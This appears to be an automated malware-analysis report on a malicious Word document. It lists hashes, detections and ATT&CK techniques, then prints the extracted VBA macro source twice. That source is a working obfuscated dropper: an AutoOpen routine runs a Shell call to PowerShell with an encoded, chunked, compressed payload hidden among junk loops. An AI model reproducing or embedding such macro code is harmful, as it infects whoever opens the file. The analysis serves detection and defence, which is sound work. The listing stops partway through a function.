Office (OLE) malware analysis — malicious · df57e8322e5403a1

MALICIOUS

Office (OLE)

114.5 KB Created: 2018-06-08 17:00:00 Authoring application: Microsoft Office Word First seen: 2018-06-21

MD5: 4eab41208e0f75c2bfe048dab6ff302f SHA-1: 4f764ca48d4409a13475b3ec189b2639331e46f7 SHA-256: df57e8322e5403a1694e0fba27d88eefcc67178b64baefc88563782206588fb0

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen subroutine calls a function that uses the Shell command to execute a string. This indicates the macro is designed to download and execute a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6578456-0' further supports this dropper functionality.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6578456-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6578456-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

Next
QjwIhZ = sEJGzCroE + Shell(AQjrPYIJJ + Chr(dwYjRJ + vbKeyP + huTijc) + "owers" + vwAjjP + uiuHN + fTRQjz + ijCUi, 8512 - 8512)
For mbSdE = zzpIk To WAMGka

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12880 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12880 bytes
SHA-256: `e35094a00d5997b92aaccb3a66b421cee03f1cd0d37c825a843a949e9037309a`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ArbVhjnohi" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function QjwIhZ() On Error Resume Next For RWnhk = EpFdM To HKrkVm For OXONa = FPMIE To 90198 mODZQf = (13819 / CBool(irXHpR) - rZmVhi / Oct(81581 / Hex(74392) / JMXiu + Rnd(jBidss / Fix(37)))) Next SUpfQ = 69015 - 62143 Next For FlrdXm = iNEvc To PEHcr For KWYLYj = HSfBOG To 12256 DafBW = (10913 / CBool(SUZwQ) - CQiCZ / Oct(96584 / Hex(41915) / jaTum + Rnd(EDLppV / Fix(37)))) Next LdbaUf = 187 - 7522 Next QjwIhZ = sEJGzCroE + Shell(AQjrPYIJJ + Chr(dwYjRJ + vbKeyP + huTijc) + "owers" + vwAjjP + uiuHN + fTRQjz + ijCUi, 8512 - 8512) For mbSdE = zzpIk To WAMGka For PIjHu = rmHcE To 35067 Rcorb = (17550 / CBool(CGMAhl) - odOTkF / Oct(88772 / Hex(78559) / CUYLMP + Rnd(XkqOYu / Fix(37)))) Next VfazD = 17225 - 92610 Next End Function Sub Autoopen() On Error Resume Next For aJTDIs = UMbch To XDzNnQ For PrWauR = oJGqfz To 36418 OsJGwO = (32022 / CBool(nvNZwb) - lQsGUj / Oct(74856 / Hex(86677) / qzTKG + Rnd(whSdoF / Fix(37)))) Next jTawN = 67500 - 58492 Next QjwIhZ For svMjUa = swKbzB To wvFXC For fGUmYh = YfVVDO To 52917 EGilJJ = (79282 / CBool(SNFCQ) - fsqjf / Oct(4181 / Hex(71665) / ZHmrPM + Rnd(oXkZRs / Fix(37)))) Next blsppm = 4685 - 49644 Next End Sub Attribute VB_Name = "fTBAcfXjZ" Function vwAjjP() On Error Resume Next For sNJBHF = BJkzn To MbatNp For jbzqim = URkrtj To 26395 uVVHcJ = (15903 / CBool(sbVboJ) - ZGnXw / Oct(33473 / Hex(30490) / SUUDj + Rnd(sGGji / Fix(37)))) Next EYGMfb = 1946 - 9526 Next ucRzwAQ = "HeLL -e IAAo" + "AG4AZQBXAC" + "0ATwBCAEoA" + "ZQBjAFQAIA" + "BJAG8ALgBzAF" + "QAcgBFAGEATQB" + "SAEUA" For NLvKu = lGIOQ To CCmHFY For zVPvJ = SAzasX To 31533 EEJYs = (80546 / CBool(HzzRO) - CVTEZ / Oct(5925 / Hex(98893) / tzPmi + Rnd(KlfQrA / Fix(37)))) Next wzdiM = 66240 - 76994 Next pEamjs = "QQBEAGUAUgAo" + "ACgAIABuAGU" + "AVw" + "AtAE8AQgBKA" + "GUAY" + "wBUAC" + "AAcwB" + "5AHMAVA" + "BFAG" For VSivaQ = jVTUQF To HtmKO For VUhZO = DXqWMU To 21906 XflqH = (21569 / CBool(FJwWjO) - qjvCUl / Oct(44301 / Hex(2597) / EhsMHq + Rnd(HzFsnb / Fix(37)))) Next wCDXP = 20796 - 70111 Next mzsFlZluzwV = "0AL" + "gBJAG8ALgBjAE" + "8AbQBQAHIARQB" + "zAHMAaQBvA" For iTQhG = KAapWu To JPwXPJ For XdVAPb = zQNHqA To 3060 YvajZ = (94892 / CBool(fCRhbn) - EzABvf / Oct(2402 / Hex(95954) / SiaKj + Rnd(iftfG / Fix(37)))) Next CzfkrY = 96880 - 36318 Next pQYuQrdm = "G4ALgBEA" + "GUAZgBMAGEAVABF" + "AHMAdAByAGUAYQ" + "BtA" + "CgAWwB" + "JAE8AL" + "gBtAGUA" For hAMMMN = pFVBa To IFwmPS For lnwjw = CVQDH To 5522 hkiOwX = (98674 / CBool(qoJFQX) - ZlFIfw / Oct(93827 / Hex(89260) / fPLLl + Rnd(COwvz / Fix(37)))) Next aknsT = 84193 - 91931 Next TrWOwnKCZu = "bQB" + "vAHIAeQ" + "Bz" + "AHQAcgBlAGEAT" + "QBdAF" + "sAYwBPAE4Adg" For mbfiNv = wzWjkp To jiMorR For uGUZQz = RQMGA To 91049 Dkjzp = (86834 / CBool(PbPMi) - AFjiAi / Oct(24581 / Hex(84525) / KEwwi + Rnd(iJZjuK / Fix(37)))) Next wfqBYi = 60909 - 60137 Next jYLGTnVm = "BFAFIAdABdAD" + "oA" + "OgBm" + "AFIAbwBNA" + "EIAQ" + "QBzAGUANg" For MizAM = iGWiYi To bAtOX For RqcnpV = AnwGi To 23622 FsOwiU = (97207 / CBool(SNLlwZ) - qIJLz / Oct(26360 / Hex(29658) / uJfFju + Rnd(QEMtU / Fix(37)))) Next lzkCip = 44759 - 29541 Next VLzoETAkH = "A0AHMAVABSAE" + "kATgBnA" + "CgAJwBW" + "AFoA" For EYhzzq = TNbpIT To zOPhLz For YDFTE = ZIRXs To 39242 FHYmz = (32659 / CBool(kzRib) - KlnTI / Oct(23467 / Hex(34845) / fUcds + Rnd(XKwDzo / Fix(37)))) Next jsqck = 88639 - 57234 Next OfAKLUMcW = "QgB0AFQAO" + "ABJAHcARgBJAFg" + "ALwBTAGoAOABzAE" + "cAVQ" + "BSAHAAUQ" + "BjAFcAMwB" For Zmasm = oUwPf To wZmvJ For lvaDN = nQdszq To 45690 ozGiB = (70276 / CBool(fjqwo) - lCGFu / Oct(37324 / Hex(61574) / hwWYu + Rnd(WWvXH / Fix(37)))) Next NNBTEu = 47402 - 97110 Next sfXScP = "4AFE" + "AUwB" + "DAFkAawBSA" + "FEANAAwAF" + "MARABNAFQA" For MjFZO = NXnCX To JGAkJH For jJoTqw = XBnAA To 89921 DVNQzf = (8120 / CBool(zHUkA) - HAjvn / Oct(87822 / Hex(28147) / XQOdKd + Rnd(jmCcK / Fix(37)))) Next lnTKb = 51467 - 52938 Next lslpVw = "RwBsAHUAN" + "wBMAHUAcABSAD" + "MAdABoAFUAR" + "QBJAC8AO" vwAjjP = ucRzwAQ + pEamjs + mzsFlZluzwV + pQYuQrdm + TrWOwnKCZu + jYLGTnVm + VLzoETAkH + OfAKLUMcW + sfXScP + lslpVw End Function Function uiuHN() On Error Resume Next For jzFvz = ADFMB To HzzCV For awPUR = qzWNP To 71512 SnlqR = (17260 / CBool(LNLfjp) - rwnqRo / Oct(11063 / Hex(70) / uLhzFA + Rnd(moUAif / Fix(37)))) Next GftoK = 26295 - 70990 Next cKRqFOG = "QAyAEs" + "AawA4AFE" + "AdgBUAGQ" + "AcgB" + "6ADMAS" + "ABOAHUAagAx" + "AGMAaw" + "BkACsASw" + "BlAFgAQg" + "BFAEYAWg" For ochwAi = wwGSH To fjLbLS For rMosL = jKYzvm To 89158 XFQHz = (21479 / CBool(pXuPX) - bwhMzu / Oct(23986 / Hex(83895) / nonYBN + Rnd(zKjNf / Fix(37)))) Next ivULH = 18056 - 3828 Next YwhHrNCYdnP = "BVAE" + "4AUAB" + "FAHgAQgBJA" + "EQARgBlAFIAegBn" + "AE8Adg" For udnwFN = nwrhTw To bTbJB For ajiKw = Smrnm To 5936 msKzZw = (99775 / CBool(JOofLK) - TAkwI / Oct(73404 / Hex(27950) / udzkv + Rnd(vJEii / Fix(37)))) Next aRUBM = 2822 - 62810 Next GinTtBCj = "BS" + "AE4A" + "Rw" + "AxAHQALwArADE" + "AYwBHAD" + "AAUg" For VtinJ = SqDov To XhPWa For EiNFj = hAlCj To 66745 GFzqAw = (23318 / CBool(plFFQj) - lsBzaA / Oct(94669 / Hex(4121) / QKiFJ + Rnd(QKUCo / Fix(37)))) Next aqOYOk = 28938 - 85921 Next FlZEWlaGZZJ = "BjAHYA" + "bwB" + "BAFMATgA5AGcAM" + "gBzAHMAawB" + "LAEEA" + "eQA4AFIAUwBoAE" + "gAZgB" + "RAGYANgBNAF" + "cASg" + "B4AHk" For zTRGO = AiHlJD To aqUGRU For vlOvc = CmZMP To 65737 vQqNw = (89329 / CBool(QbMQfu) - QXEHSu / Oct(45423 / Hex(24954) / EViDq + Rnd(JvVbt / Fix(37)))) Next JAGHXs = 8948 - 38316 Next tLRSn = "AVgBn" + "AHUAUgBS" + "AHI" + "AcABkAFEAWgBV" + "AD" For wQifl = VEwnl To CmrUrl For SRuDA = HXzzvC To 36481 qGFwYF = (97579 / CBool(rYnIQH) - PnjGB / Oct(3099 / Hex(13890) / Mhzdr + Rnd(EBlSp / Fix(37)))) Next flYTj = 7891 - 59486 Next ujXbmQi = "YASgB3" + "ADEAV" + "AA" + "4AC8AZgAy" For WQsRA = hMPvR To iDtOab For OnXCp = vidPMa To 95591 hjvof = (57012 / CBool(qrlqBz) - csJsEw / Oct(30892 / Hex(74203) / ODqFaD + Rnd(CUTUBW / Fix(37)))) Next ZvzaXv = 72198 - 23332 Next hHlccTGBpOP = "AGkA" + "ZgBQAHIA" + "ZQBlAFUAZ" + "ABTAG8AZwBqA" + "FEAdw" + "BJAGIA" + "YQBLAGQAL" + "wBqA" + "G8AWQ" + "BKAE4AMQ" For dRGlFU = BGuih To pYGnuj For idbFv = wGWsrN To 3858 NnUSs = (64842 / CBool(SOGoPo) - ZTkAC / Oct(81499 / Hex(10037) / qBqUX + Rnd(fODUf / Fix(37)))) Next blmUC = 3179 - 45611 Next MQApkQJ = "B4ADMAa" + "AAzAHUAW" + "gBXADUAdwB5AFQA" + "TQB3A" + "GsAcA" + "Bv" + "AEYAcw" + "A3AHQASQB" + "KAHIAVAA2A" + "GsA" For OVRfw = hCHqLL To NzTcX For imzCT = SiohQz To 1018 plUkK = (48026 / CBool(idHMJU) - OoSrf / Oct(84133 / Hex(79372) / PSzvdM + Rnd(UqtKsV / Fix(37)))) Next cjRwcA = 18600 - 85712 Next qqhvwJYfj = "agBNADIAVAB3" + "AGE" + "AdAA0AFgAcAB" + "QAGwAb" + "QBWAE" + "oAVQBTAFAAUABy" + "AEoAeABwAGcA" + "MwB4AG4Ad" + "QBKA" + "HgATQ" uiuHN = cKRqFOG + YwhHrNCYdnP + GinTtBCj + FlZEWlaGZZJ + tLRSn + ujXbmQi + hHlccTGBpOP + MQApkQJ + qqhvwJYfj End Function Function fTRQjz() On Error Resume Next For KPHPzP = SIdLV To mPvUo For QTzbp = LjZhOp To 37689 cnfVz = (87237 / CBool(SaBPJ) - awCCI / Oct(21882 / Hex(1146) / WLoSco + Rnd(wluosz / Fix(37)))) Next zkaXv = 8028 - 96106 Next FwmCOWPsJY = "BMAHMATABVAG" + "0ARABqAGEAYwA4A" + "DY" + "AaQBpA" + "EwAbg" + "BLAGUAZQB4AH" + "MAYQBRAFQATQ" + "BuAG8AY" + "QB3AGUARwAw" For zLfjkn = iGdTu To cqCUE For TpHbR = BwRcl To 30528 idNdnw = (7256 / CBool(aGnKZE) - XuXCq / Oct(59421 / Hex(58590) / pkNZj + Rnd(GCUNWP / Fix(37)))) Next ONOYBj = 85698 - 67112 Next BlmmLD = "AHkAbg" + "A0AFoARgBKA" + "HIASABtAGQA" + "LwB4ADYANABQAFc" + "AUwBK" + "AC8AdgBvAFAA" + "dQBMAHQAYQBx" + "AEUAS" + "wBWAG" For QsBhZ = EjZRz To YsZWU For UDTwC = rJhIip To 96267 UVTVXC = (33019 / CBool(wloFQC) - UpBjiX / Oct(60273 / Hex(193) / pMpPq + Rnd(EjTOED / Fix(37)))) Next EwSkm = 9333 - 66565 Next NnpszkGmF = "wAaAByAEgAWgB" + "MADIAMgBmAEYA" + "UgBxACsAMwAw" + "ADkAegBsAC8A" + "RwBjADEALw" + "BBAEYARABMAFMAN" + "wBkAFcAUQBRA" + "DYA" For zZpTN = cITOp To AfLMB For DjElBz = ukDOtl To 50947 LsnAw = (56900 / CBool(baAzPh) - YnGju / Oct(2428 / Hex(4109) / LXrhS + Rnd(ZuZdPD / Fix(37)))) Next nXLFOc = 8996 - 57660 Next fuDfh = "SQAvACsARwA" + "3AHM" + "ANQBwADE" + "AVgB3A" + "G8AcgA4AE" + "kA" + "TQ" For CiFWLP = KqZPH To QIPLsC For aWAdjl = uijYz To 49010 UJcwXJ = (72286 / CBool(npohH) - CqCkC / Oct(94625 / Hex(20011) / ibmazO + Rnd(JARiFv / Fix(37)))) Next mPUsvM = 68258 - 19864 Next VLTuEPiwL = "B2" + "AGIAWQBDAEwA" + "dQBPAGE" + "ATgBoADE" + "AMABwAGkARg" + "BU" + "AGsAdAA2" fTRQjz = FwmCOWPsJY + BlmmLD + NnpszkGmF + fuDfh + VLTuEPiwL End Function Function ijCUi() On Error Resume Next For CdJroi = ucQpbA To wKXid For WzBKDD = PKCwwX To 73882 wqWrfL = (44270 / CBool(pGYmF) - hXdFU / Oct(35188 / Hex(6830) / wolqZk + Rnd(RsDOaA / Fix(37)))) Next Brwdz = 86594 - 23972 Next fmXTRDOW = "AGIAN" + "gBCAHMAMQA2AFU" + "ANQBWAEwAcgAzA" + "FcAcAB" + "NAHMAMg" For fQhrc = VqCUjU To hGommf For NUXiX = WmHqS To 20236 uJUIi = (15111 / CBool(wCAuuf) - TkJrNN / Oct(78955 / Hex(81383) / sCTOI + Rnd(iMBVEz / Fix(37)))) Next mjEij = 51075 - 21549 Next iblKPC = "BqA" + "HYA" + "cwB5AGcAU" + "QB1AG0ATA" + "BEAHQARgB" + "JAE4AYQB2A" + "FYARAAwA" + "G0AVgBXAEEA" + "OQBDAG" For dksmC = wzFza To wbFOt For NUosYb = vwdnid To 27887 rPSbbF = (64626 / CBool(NwYduZ) - aplvM / Oct(82728 / Hex(59944) / LRJHDV + Rnd(XTMYH / Fix(37)))) Next nnRij = 69710 - 52592 Next jFJbEqwwKL = "QASwBVAD" + "AAbgBvAHcAVwBZA" + "E8AMwB" + "mAG" + "MAegBCADEA" + "RwB" For AzjWmC = zhBoLd To KSwiO For YERVR = mBTNjG To 7359 LTZkQS = (24926 / CBool(mKkvij) - zkBVZX / Oct(92232 / Hex(60617) / EnPzd + Rnd(VhIpv / Fix(37)))) Next sNNwow = 35353 - 14029 Next FOtzsB = "XAG" + "0AdwBGAFIA" + "eABGAHYAQwBtAE4" + "AUgBHA" For WRGXTd = liQPoL To dCPwSp For nslnG = oZkZd To 46595 hVJZKq = (81950 / CBool(dYfChj) - tYCASh / Oct(67136 / Hex(46913) / kNGqM + Rnd(rlQhwH / Fix(37)))) Next qmbwHJ = 39541 - 11237 Next nODWHwrFjiT = "GoARQAyAGkAT" + "AB4AFAAdQBu" + "AE4AUwBrAEM" + "AQgBVAGkAcwA2AG" + "MAaABOAD" + "gAQgBzA" + "EYAMgA" + "rAHcAMAA9A" + "CcAIA" For ZpEfLW = Gwwzpp To kAkkju For zhcBiQ = TZZDO To 97109 QljhVI = (18940 / CBool(zJDBpq) - XZnLzZ / Oct(15138 / Hex(53352) / dGDmWZ + Rnd(aqITOD / Fix(37)))) Next LlcOi = 35803 - 96647 Next cwObEQLf = "ApACAAL" + "AAgAFsAaQB" + "PAC4AYwBPAE0AU" + "AByAGUAUwBzAGk" + "ATwBuA" + "C4AQwBvAE" + "0AUAByAEUA" + "UwBTAGkAbwBOAG0" For biVCAP = wOIKC To OEXOa For cKjXj = WcaXK To 49519 fwfVR = (37902 / CBool(dYruK) - AwwjF / Oct(484 / Hex(15112) / VWuLl + Rnd(dncbEj / Fix(37)))) Next XHjjF = 90113 - 1449 Next VXRRKRC = "AbwB" + "EAEUAXQA6AD" + "oARABFAGMATwBtA" + "HAAUgBFAHMA" + "cwA" + "pACkALA" + "AgAFsAcwBZA" For ESmMfT = jtSKR To JZkJf For vqvQpb = dqMzz To 10371 PREIz = (12586 / CBool(FHjJu) - uNizZ / Oct(49459 / Hex(19617) / vIBwk + Rnd(qhTvSE / Fix(37)))) Next qrVbK = 48701 - 40254 Next vXhjAGF = "HMAdABFAE" + "0ALgBUAGUAWAB" + "0A" + "C4AZQBO" + "AG" + "MATwBEAGkATgBn" + "AF0AOgA" + "6AGEAcwBjAE" + "kASQApACAAKQAu" + "AHIARQBhA" For jMHvKJ = INYZv To UJCMO For ZYnnqp = DVMXO To 764 OMwuAZ = (35226 / CBool(YFXtJI) - iSPvu / Oct(91012 / Hex(35355) / YRGEFt + Rnd(pJZFoI / Fix(37)))) Next HLoMz = 98971 - 64571 Next dRnQBdamZhI = "GQAVABvAGU" + "AbgBEACgAIA" + "ApAHwAJg" + "AoAC" + "AAJ" + "ABwA" + "HMASA" + "BP" For wfzjn = ISGtvP To duVMj For QNTDUO = KDHhw To 36383 IUaGY = (12725 / CBool(hrTLs) - oiQTAS / Oct(43123 / Hex(33568) / dcdSR + Rnd(ELYzcB / Fix(37)))) Next JUPna = 53061 - 66168 Next lbanW = "AG0AZ" + "QBbAD" + "QAXQArACQAcA" + "BzAEgATwBt" + "AG" + "UA" + "WwAzADAAX" + "QArACcAWAAnACkA" ijCUi = fmXTRDOW + iblKPC + jFJbEqwwKL + FOtzsB + nODWHwrFjiT + cwObEQLf + VXRRKRC + vXhjAGF + dRnQBdamZhI + lbanW End Function

SHA-256: e35094a00d5997b92aaccb3a66b421cee03f1cd0d37c825a843a949e9037309a

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ArbVhjnohi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function QjwIhZ()
On Error Resume Next
For RWnhk = EpFdM To HKrkVm
      For OXONa = FPMIE To 90198
         mODZQf = (13819 / CBool(irXHpR) - rZmVhi / Oct(81581 / Hex(74392) / JMXiu + Rnd(jBidss / Fix(37))))
Next
   SUpfQ = 69015 - 62143
Next
For FlrdXm = iNEvc To PEHcr
      For KWYLYj = HSfBOG To 12256
         DafBW = (10913 / CBool(SUZwQ) - CQiCZ / Oct(96584 / Hex(41915) / jaTum + Rnd(EDLppV / Fix(37))))
Next
   LdbaUf = 187 - 7522
Next
QjwIhZ = sEJGzCroE + Shell(AQjrPYIJJ + Chr(dwYjRJ + vbKeyP + huTijc) + "owers" + vwAjjP + uiuHN + fTRQjz + ijCUi, 8512 - 8512)
For mbSdE = zzpIk To WAMGka
      For PIjHu = rmHcE To 35067
         Rcorb = (17550 / CBool(CGMAhl) - odOTkF / Oct(88772 / Hex(78559) / CUYLMP + Rnd(XkqOYu / Fix(37))))
Next
   VfazD = 17225 - 92610
Next
End Function
Sub Autoopen()
On Error Resume Next
For aJTDIs = UMbch To XDzNnQ
      For PrWauR = oJGqfz To 36418
         OsJGwO = (32022 / CBool(nvNZwb) - lQsGUj / Oct(74856 / Hex(86677) / qzTKG + Rnd(whSdoF / Fix(37))))
Next
   jTawN = 67500 - 58492
Next
QjwIhZ
For svMjUa = swKbzB To wvFXC
      For fGUmYh = YfVVDO To 52917
         EGilJJ = (79282 / CBool(SNFCQ) - fsqjf / Oct(4181 / Hex(71665) / ZHmrPM + Rnd(oXkZRs / Fix(37))))
Next
   blsppm = 4685 - 49644
Next
End Sub


Attribute VB_Name = "fTBAcfXjZ"
Function vwAjjP()
On Error Resume Next
For sNJBHF = BJkzn To MbatNp
      For jbzqim = URkrtj To 26395
         uVVHcJ = (15903 / CBool(sbVboJ) - ZGnXw / Oct(33473 / Hex(30490) / SUUDj + Rnd(sGGji / Fix(37))))
Next
   EYGMfb = 1946 - 9526
Next
ucRzwAQ = "HeLL -e IAAo" + "AG4AZQBXAC" + "0ATwBCAEoA" + "ZQBjAFQAIA" + "BJAG8ALgBzAF" + "QAcgBFAGEATQB" + "SAEUA"
For NLvKu = lGIOQ To CCmHFY
      For zVPvJ = SAzasX To 31533
         EEJYs = (80546 / CBool(HzzRO) - CVTEZ / Oct(5925 / Hex(98893) / tzPmi + Rnd(KlfQrA / Fix(37))))
Next
   wzdiM = 66240 - 76994
Next
pEamjs = "QQBEAGUAUgAo" + "ACgAIABuAGU" + "AVw" + "AtAE8AQgBKA" + "GUAY" + "wBUAC" + "AAcwB" + "5AHMAVA" + "BFAG"
For VSivaQ = jVTUQF To HtmKO
      For VUhZO = DXqWMU To 21906
         XflqH = (21569 / CBool(FJwWjO) - qjvCUl / Oct(44301 / Hex(2597) / EhsMHq + Rnd(HzFsnb / Fix(37))))
Next
   wCDXP = 20796 - 70111
Next
mzsFlZluzwV = "0AL" + "gBJAG8ALgBjAE" + "8AbQBQAHIARQB" + "zAHMAaQBvA"
For iTQhG = KAapWu To JPwXPJ
      For XdVAPb = zQNHqA To 3060
         YvajZ = (94892 / CBool(fCRhbn) - EzABvf / Oct(2402 / Hex(95954) / SiaKj + Rnd(iftfG / Fix(37))))
Next
   CzfkrY = 96880 - 36318
Next
pQYuQrdm = "G4ALgBEA" + "GUAZgBMAGEAVABF" + "AHMAdAByAGUAYQ" + "BtA" + "CgAWwB" + "JAE8AL" + "gBtAGUA"
For hAMMMN = pFVBa To IFwmPS
      For lnwjw = CVQDH To 5522
         hkiOwX = (98674 / CBool(qoJFQX) - ZlFIfw / Oct(93827 / Hex(89260) / fPLLl + Rnd(COwvz / Fix(37))))
Next
   aknsT = 84193 - 91931
Next
TrWOwnKCZu = "bQB" + "vAHIAeQ" + "Bz" + "AHQAcgBlAGEAT" + "QBdAF" + "sAYwBPAE4Adg"
For mbfiNv = wzWjkp To jiMorR
      For uGUZQz = RQMGA To 91049
         Dkjzp = (86834 / CBool(PbPMi) - AFjiAi / Oct(24581 / Hex(84525) / KEwwi + Rnd(iJZjuK / Fix(37))))
Next
   wfqBYi = 60909 - 60137
Next
jYLGTnVm = "BFAFIAdABdAD" + "oA" + "OgBm" + "AFIAbwBNA" + "EIAQ" + "QBzAGUANg"
For MizAM = iGWiYi To bAtOX
      For RqcnpV = AnwGi To 23622
         FsOwiU = (97207 / CBool(SNLlwZ) - qIJLz / Oct(26360 / Hex(29658) / uJfFju + Rnd(QEMtU / Fix(37))))
Next
   lzkCip = 44759 - 29541
Next
VLzoETAkH = "A0AHMAVABSAE" + "kATgBnA" + "CgAJwBW" + "AFoA"
For EYhzzq = TNbpIT To zOPhLz
      For YDFTE = ZIRXs To 39242
         FHYmz = (32659 / CBool(kzRib) - KlnTI / Oct(23467 / Hex(34845) / fUcds + Rnd(XKwDzo / Fix(37))))
Next
   jsqck = 88639 - 57234
Next
OfAKLUMcW = "QgB0AFQAO" + "ABJAHcARgBJAFg" + "ALwBTAGoAOABzAE" + "cAVQ" + "BSAHAAUQ" + "BjAFcAMwB"
For Zmasm = oUwPf To wZmvJ
      For lvaDN = nQdszq To 45690
         ozGiB = (70276 / CBool(fjqwo) - lCGFu / Oct(37324 / Hex(61574) / hwWYu + Rnd(WWvXH / Fix(37))))
Next
   NNBTEu = 47402 - 97110
Next
sfXScP = "4AFE" + "AUwB" + "DAFkAawBSA" + "FEANAAwAF" + "MARABNAFQA"
For MjFZO = NXnCX To JGAkJH
      For jJoTqw = XBnAA To 89921
         DVNQzf = (8120 / CBool(zHUkA) - HAjvn / Oct(87822 / Hex(28147) / XQOdKd + Rnd(jmCcK / Fix(37))))
Next
   lnTKb = 51467 - 52938
Next
lslpVw = "RwBsAHUAN" + "wBMAHUAcABSAD" + "MAdABoAFUAR" + "QBJAC8AO"
vwAjjP = ucRzwAQ + pEamjs + mzsFlZluzwV + pQYuQrdm + TrWOwnKCZu + jYLGTnVm + VLzoETAkH + OfAKLUMcW + sfXScP + lslpVw
End Function
Function uiuHN()
On Error Resume Next
For jzFvz = ADFMB To HzzCV
      For awPUR = qzWNP To 71512
         SnlqR = (17260 / CBool(LNLfjp) - rwnqRo / Oct(11063 / Hex(70) / uLhzFA + Rnd(moUAif / Fix(37))))
Next
   GftoK = 26295 - 70990
Next
cKRqFOG = "QAyAEs" + "AawA4AFE" + "AdgBUAGQ" + "AcgB" + "6ADMAS" + "ABOAHUAagAx" + "AGMAaw" + "BkACsASw" + "BlAFgAQg" + "BFAEYAWg"
For ochwAi = wwGSH To fjLbLS
      For rMosL = jKYzvm To 89158
         XFQHz = (21479 / CBool(pXuPX) - bwhMzu / Oct(23986 / Hex(83895) / nonYBN + Rnd(zKjNf / Fix(37))))
Next
   ivULH = 18056 - 3828
Next
YwhHrNCYdnP = "BVAE" + "4AUAB" + "FAHgAQgBJA" + "EQARgBlAFIAegBn" + "AE8Adg"
For udnwFN = nwrhTw To bTbJB
      For ajiKw = Smrnm To 5936
         msKzZw = (99775 / CBool(JOofLK) - TAkwI / Oct(73404 / Hex(27950) / udzkv + Rnd(vJEii / Fix(37))))
Next
   aRUBM = 2822 - 62810
Next
GinTtBCj = "BS" + "AE4A" + "Rw" + "AxAHQALwArADE" + "AYwBHAD" + "AAUg"
For VtinJ = SqDov To XhPWa
      For EiNFj = hAlCj To 66745
         GFzqAw = (23318 / CBool(plFFQj) - lsBzaA / Oct(94669 / Hex(4121) / QKiFJ + Rnd(QKUCo / Fix(37))))
Next
   aqOYOk = 28938 - 85921
Next
FlZEWlaGZZJ = "BjAHYA" + "bwB" + "BAFMATgA5AGcAM" + "gBzAHMAawB" + "LAEEA" + "eQA4AFIAUwBoAE" + "gAZgB" + "RAGYANgBNAF" + "cASg" + "B4AHk"
For zTRGO = AiHlJD To aqUGRU
      For vlOvc = CmZMP To 65737
         vQqNw = (89329 / CBool(QbMQfu) - QXEHSu / Oct(45423 / Hex(24954) / EViDq + Rnd(JvVbt / Fix(37))))
Next
   JAGHXs = 8948 - 38316
Next
tLRSn = "AVgBn" + "AHUAUgBS" + "AHI" + "AcABkAFEAWgBV" + "AD"
For wQifl = VEwnl To CmrUrl
      For SRuDA = HXzzvC To 36481
         qGFwYF = (97579 / CBool(rYnIQH) - PnjGB / Oct(3099 / Hex(13890) / Mhzdr + Rnd(EBlSp / Fix(37))))
Next
   flYTj = 7891 - 59486
Next
ujXbmQi = "YASgB3" + "ADEAV" + "AA" + "4AC8AZgAy"
For WQsRA = hMPvR To iDtOab
      For OnXCp = vidPMa To 95591
         hjvof = (57012 / CBool(qrlqBz) - csJsEw / Oct(30892 / Hex(74203) / ODqFaD + Rnd(CUTUBW / Fix(37))))
Next
   ZvzaXv = 72198 - 23332
Next
hHlccTGBpOP = "AGkA" + "ZgBQAHIA" + "ZQBlAFUAZ" + "ABTAG8AZwBqA" + "FEAdw" + "BJAGIA" + "YQBLAGQAL" + "wBqA" + "G8AWQ" + "BKAE4AMQ"
For dRGlFU = BGuih To pYGnuj
      For idbFv = wGWsrN To 3858
         NnUSs = (64842 / CBool(SOGoPo) - ZTkAC / Oct(81499 / Hex(10037) / qBqUX + Rnd(fODUf / Fix(37))))
Next
   blmUC = 3179 - 45611
Next
MQApkQJ = "B4ADMAa" + "AAzAHUAW" + "gBXADUAdwB5AFQA" + "TQB3A" + "GsAcA" + "Bv" + "AEYAcw" + "A3AHQASQB" + "KAHIAVAA2A" + "GsA"
For OVRfw = hCHqLL To NzTcX
      For imzCT = SiohQz To 1018
         plUkK = (48026 / CBool(idHMJU) - OoSrf / Oct(84133 / Hex(79372) / PSzvdM + Rnd(UqtKsV / Fix(37))))
Next
   cjRwcA = 18600 - 85712
Next
qqhvwJYfj = "agBNADIAVAB3" + "AGE" + "AdAA0AFgAcAB" + "QAGwAb" + "QBWAE" + "oAVQBTAFAAUABy" + "AEoAeABwAGcA" + "MwB4AG4Ad" + "QBKA" + "HgATQ"
